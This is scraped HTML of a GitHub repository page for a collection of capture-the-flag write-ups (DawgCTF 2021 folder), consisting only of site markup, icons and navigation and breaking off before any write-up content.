href="https://github.githubassets.com/"> <meta name="request-id" content="B732:5EA0:2E7FC:121D45:6183070A" data-pjax-transient="true"/><meta name="html-safe-nonce" content="350e8c90f5c237865d730710edc1448dd9ec400339cb4aed2e4b25e4bc109279" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJCNzMyOjVFQTA6MkU3RkM6MTIxRDQ1OjYxODMwNzBBIiwidmlzaXRvcl9pZCI6IjM3NzYxMDE5OTY2NDIzNzEzMzgiLCJyZWdpb25fZWRnZSI6ImZyYSIsInJlZ2lvbl9yZW5kZXIiOiJmcmEifQ==" data-pjax-transient="true"/><meta name="visitor-hmac" content="db57cf94be19936133e647f28aacdc4417235db9050d5f89a2a0384fc8bb8233" data-pjax-transient="true"/> <meta name="hovercard-subject-tag" content="repository:308827834" data-pjax-transient> <meta name="github-keyboard-shortcuts" content="repository,source-code" data-pjax-transient="true" /> <meta name="selected-link" value="repo_source" data-pjax-transient> <meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="octolytics-url" content="https://collector.githubapp.com/github/collect" /> <meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-pjax-transient="true" /> <meta name="hostname" content="github.com"> <meta name="user-login" content=""> <meta name="expected-hostname" content="github.com"> <meta name="enabled-features" content="MARKETPLACE_PENDING_INSTALLATIONS,FILE_UPLOAD_CURSOR_POSITION"> <meta http-equiv="x-pjax-version" content="89408a5ac57f5b71ed7ebb466b241a52be13289bf52f5580353d1ab3681a2237"> <meta http-equiv="x-pjax-csp-version" content="9ea82e8060ac9d44365bfa193918b70ed58abd9413362ba412abb161b3a8d1b6"> <meta http-equiv="x-pjax-css-version" content="8c75751aad52ee8322f8435d51506c1b59a636003602b767a0b479bddfe5cb22"> <meta http-equiv="x-pjax-js-version" content="3cad26b543586e12a4ad3073df6bdffcfe52ab9dafecfd0ffc60594d519fb9b5"> <meta name="go-import" content="github.com/mrajabinasab/CTF-Writeups git https://github.com/mrajabinasab/CTF-Writeups.git"> <meta name="octolytics-dimension-user_id" content="23614755" /><meta name="octolytics-dimension-user_login" content="mrajabinasab" /><meta name="octolytics-dimension-repository_id" content="308827834" /><meta name="octolytics-dimension-repository_nwo" content="mrajabinasab/CTF-Writeups" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="308827834" /><meta name="octolytics-dimension-repository_network_root_nwo" content="mrajabinasab/CTF-Writeups" /> <link rel="canonical" href="https://github.com/mrajabinasab/CTF-Writeups/tree/main/DawgCTF%202021" data-pjax-transient> <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats"> <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors"> <meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors"> <link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg"> <meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" /> <link rel="manifest" href="/manifest.json" crossOrigin="use-credentials"> </head> <body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span> <header class="Header-old header-logged-out js-details-container Details position-relative f4 py-2" role="banner"> <div class="container-xl d-lg-flex flex-items-center p-responsive"> <div class="d-flex flex-justify-between flex-items-center"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github color-text-white"> <path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"></path></svg> <div class="d-lg-none css-truncate css-truncate-target width-fit p-2"> </div> <div class="d-flex flex-items-center"> Sign up <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target btn-link d-lg-none mt-1"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-three-bars color-text-white"> <path fill-rule="evenodd" d="M1 2.75A.75.75 0 011.75 2h12.5a.75.75 0 110 1.5H1.75A.75.75 0 011 2.75zm0 5A.75.75 0 011.75 7h12.5a.75.75 0 110 1.5H1.75A.75.75 0 011 7.75zM1.75 12a.75.75 0 100 1.5h12.5a.75.75 0 100-1.5H1.75z"></path></svg> </button> </div> </div> <div class="HeaderMenu HeaderMenu--logged-out position-fixed top-0 right-0 bottom-0 height-fit position-lg-relative d-lg-flex flex-justify-between flex-items-center flex-auto"> <div class="d-flex d-lg-none flex-justify-end border-bottom color-bg-subtle p-3"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target btn-link"> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-x color-icon-secondary"> <path fill-rule="evenodd" d="M5.72 5.72a.75.75 0 011.06 0L12 10.94l5.22-5.22a.75.75 0 111.06 1.06L13.06 12l5.22 5.22a.75.75 0 11-1.06 1.06L12 13.06l-5.22 5.22a.75.75 0 01-1.06-1.06L10.94 12 5.72 6.78a.75.75 0 010-1.06z"></path></svg> </button> </div> <nav class="mt-0 px-3 px-lg-0 mb-5 mb-lg-0" aria-label="Global"> <details class="HeaderMenu-details details-overlay details-reset width-full"> <summary class="HeaderMenu-summary HeaderMenu-link px-0 py-3 border-0 no-wrap d-block d-lg-inline-block"> Why GitHub? <svg x="0px" y="0px" viewBox="0 0 14 8" xml:space="preserve" fill="none" class="icon-chevon-down-mktg position-absolute position-lg-relative"> <path d="M1,1l6.2,6L13,1"></path> </svg> </summary> <div class="dropdown-menu flex-auto rounded px-0 mt-0 pb-4 p-lg-4 position-relative position-lg-absolute left-0 left-lg-n4"> Features <span>→</span> Mobile <span>→</span> Actions <span>→</span> Codespaces <span>→</span> Packages <span>→</span> Security <span>→</span> Code review <span>→</span> Issues <span>→</span> Integrations <span>→</span> GitHub Sponsors <span>→</span> Customer stories<span>→</span> </div> </details> Team Enterprise <details class="HeaderMenu-details details-overlay details-reset width-full"> <summary class="HeaderMenu-summary HeaderMenu-link px-0 py-3 border-0 no-wrap d-block d-lg-inline-block"> Explore <svg x="0px" y="0px" viewBox="0 0 14 8" xml:space="preserve" fill="none" class="icon-chevon-down-mktg position-absolute position-lg-relative"> <path d="M1,1l6.2,6L13,1"></path> </svg> </summary> <div class="dropdown-menu flex-auto rounded px-0 pt-2 pb-0 mt-0 pb-4 p-lg-4 position-relative position-lg-absolute left-0 left-lg-n4"> Explore GitHub <span>→</span> <h4 class="color-fg-muted text-normal text-mono f5 mb-2 border-lg-top pt-lg-3">Learn and contribute</h4> Topics <span>→</span> Collections <span>→</span> Trending <span>→</span> Learning Lab <span>→</span> Open source guides <span>→</span> <h4 class="color-fg-muted text-normal text-mono f5 mb-2 border-lg-top pt-lg-3">Connect with others</h4> The ReadME Project <span>→</span> Events <span>→</span> Community forum <span>→</span> GitHub Education <span>→</span> GitHub Stars program <span>→</span> </div> </details> Marketplace <details class="HeaderMenu-details details-overlay details-reset width-full"> <summary class="HeaderMenu-summary HeaderMenu-link px-0 py-3 border-0 no-wrap d-block d-lg-inline-block"> Pricing <svg x="0px" y="0px" viewBox="0 0 14 8" xml:space="preserve" fill="none" class="icon-chevon-down-mktg position-absolute position-lg-relative"> <path d="M1,1l6.2,6L13,1"></path> </svg> </summary> <div class="dropdown-menu flex-auto rounded px-0 pt-2 pb-4 mt-0 p-lg-4 position-relative position-lg-absolute left-0 left-lg-n4"> Plans <span>→</span> Compare plans <span>→</span> Contact Sales <span>→</span> Education <span>→</span> </div> </details> </nav> <div class="d-lg-flex flex-items-center px-3 px-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-3 mb-lg-0"> <div class="header-search flex-auto js-site-search position-relative flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="308827834" data-scoped-search-url="/mrajabinasab/CTF-Writeups/search" data-owner-scoped-search-url="/users/mrajabinasab/search" data-unscoped-search-url="/search" action="/mrajabinasab/CTF-Writeups/search" accept-charset="UTF-8" method="get"> <label class="form-control input-sm header-search-wrapper p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control input-sm header-search-input jump-to-field js-jump-to-field js-site-search-focus js-site-search-field is-clearable" data-hotkey=s,/ name="q" data-test-selector="nav-search-input" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="IKSfz+exQy0HplzmIBitaGEzo7yZERGaAqubTTLagWHzeid6du3G/xwm04TQ0uH57/uGmhtvfSlsqfNRbozyvw==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg> <div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <span>No suggested jump to results</span> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> </div> </label></form> </div></div> </div> <div class="position-relative mr-3 mb-4 mb-lg-0 d-inline-block"> Sign in </div> Sign up </div> </div> </div></header> </div> <div id="start-of-content" class="show-on-focus"></div> <div data-pjax-replace id="js-flash-container"> <template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class=" px-2" > <button class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button> <div>{{ message }}</div> </div></div> </template></div> <include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment> <div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" data-pjax-container > <div id="repository-container-header" class="pt-3 hide-full-screen mb-5" style="background-color: var(--color-page-header-bg);" data-pjax-replace> <div class="d-flex mb-3 px-3 px-md-4 px-lg-5"> <div class="flex-auto min-width-0 width-fit mr-3"> <h1 class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-icon-secondary mr-2"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <span> mrajabinasab </span> <span>/</span> CTF-Writeups <span></span><span>Public</span></h1> </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell"> <path d="M8 16a2 2 0 001.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 008 16z"></path><path fill-rule="evenodd" d="M8 1.5A3.5 3.5 0 004.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.018.018 0 00-.003.01l.001.006c0 .002.002.004.004.006a.017.017 0 00.006.004l.007.001h10.964l.007-.001a.016.016 0 00.006-.004.016.016 0 00.004-.006l.001-.007a.017.017 0 00-.003-.01l-1.703-2.554a1.75 1.75 0 01-.294-.97V5A3.5 3.5 0 008 1.5zM3 5a5 5 0 0110 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.518 1.518 0 0113.482 13H2.518a1.518 1.518 0 01-1.263-2.36l1.703-2.554A.25.25 0 003 7.947V5z"></path></svg> Notifications <div > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom mr-1"> <path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"></path></svg> <span> Star</span> 0 </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked"> <path fill-rule="evenodd" d="M5 3.25a.75.75 0 11-1.5 0 .75.75 0 011.5 0zm0 2.122a2.25 2.25 0 10-1.5 0v.878A2.25 2.25 0 005.75 8.5h1.5v2.128a2.251 2.251 0 101.5 0V8.5h1.5a2.25 2.25 0 002.25-2.25v-.878a2.25 2.25 0 10-1.5 0v.878a.75.75 0 01-.75.75h-4.5A.75.75 0 015 6.25v-.878zm3.75 7.378a.75.75 0 11-1.5 0 .75.75 0 011.5 0zm3-8.75a.75.75 0 100-1.5.75.75 0 000 1.5z"></path></svg> Fork 1 </div> <div id="responsive-meta-container" data-pjax-replace></div> <nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M4.72 3.22a.75.75 0 011.06 1.06L2.06 8l3.72 3.72a.75.75 0 11-1.06 1.06L.47 8.53a.75.75 0 010-1.06l4.25-4.25zm6.56 0a.75.75 0 10-1.06 1.06L13.94 8l-3.72 3.72a.75.75 0 101.06 1.06l4.25-4.25a.75.75 0 000-1.06l-4.25-4.25z"></path></svg> <span>Code</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 100-3 1.5 1.5 0 000 3z"></path><path fill-rule="evenodd" d="M8 0a8 8 0 100 16A8 8 0 008 0zM1.5 8a6.5 6.5 0 1113 0 6.5 6.5 0 01-13 0z"></path></svg> <span>Issues</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M7.177 3.073L9.573.677A.25.25 0 0110 .854v4.792a.25.25 0 01-.427.177L7.177 3.427a.25.25 0 010-.354zM3.75 2.5a.75.75 0 100 1.5.75.75 0 000-1.5zm-2.25.75a2.25 2.25 0 113 2.122v5.256a2.251 2.251 0 11-1.5 0V5.372A2.25 2.25 0 011.5 3.25zM11 2.5h-1V4h1a1 1 0 011 1v5.628a2.251 2.251 0 101.5 0V5A2.5 2.5 0 0011 2.5zm1 10.25a.75.75 0 111.5 0 .75.75 0 01-1.5 0zM3.75 12a.75.75 0 100 1.5.75.75 0 000-1.5z"></path></svg> <span>Pull requests</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M1.5 8a6.5 6.5 0 1113 0 6.5 6.5 0 01-13 0zM8 0a8 8 0 100 16A8 8 0 008 0zM6.379 5.227A.25.25 0 006 5.442v5.117a.25.25 0 00.379.214l4.264-2.559a.25.25 0 000-.428L6.379 5.227z"></path></svg> <span>Actions</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 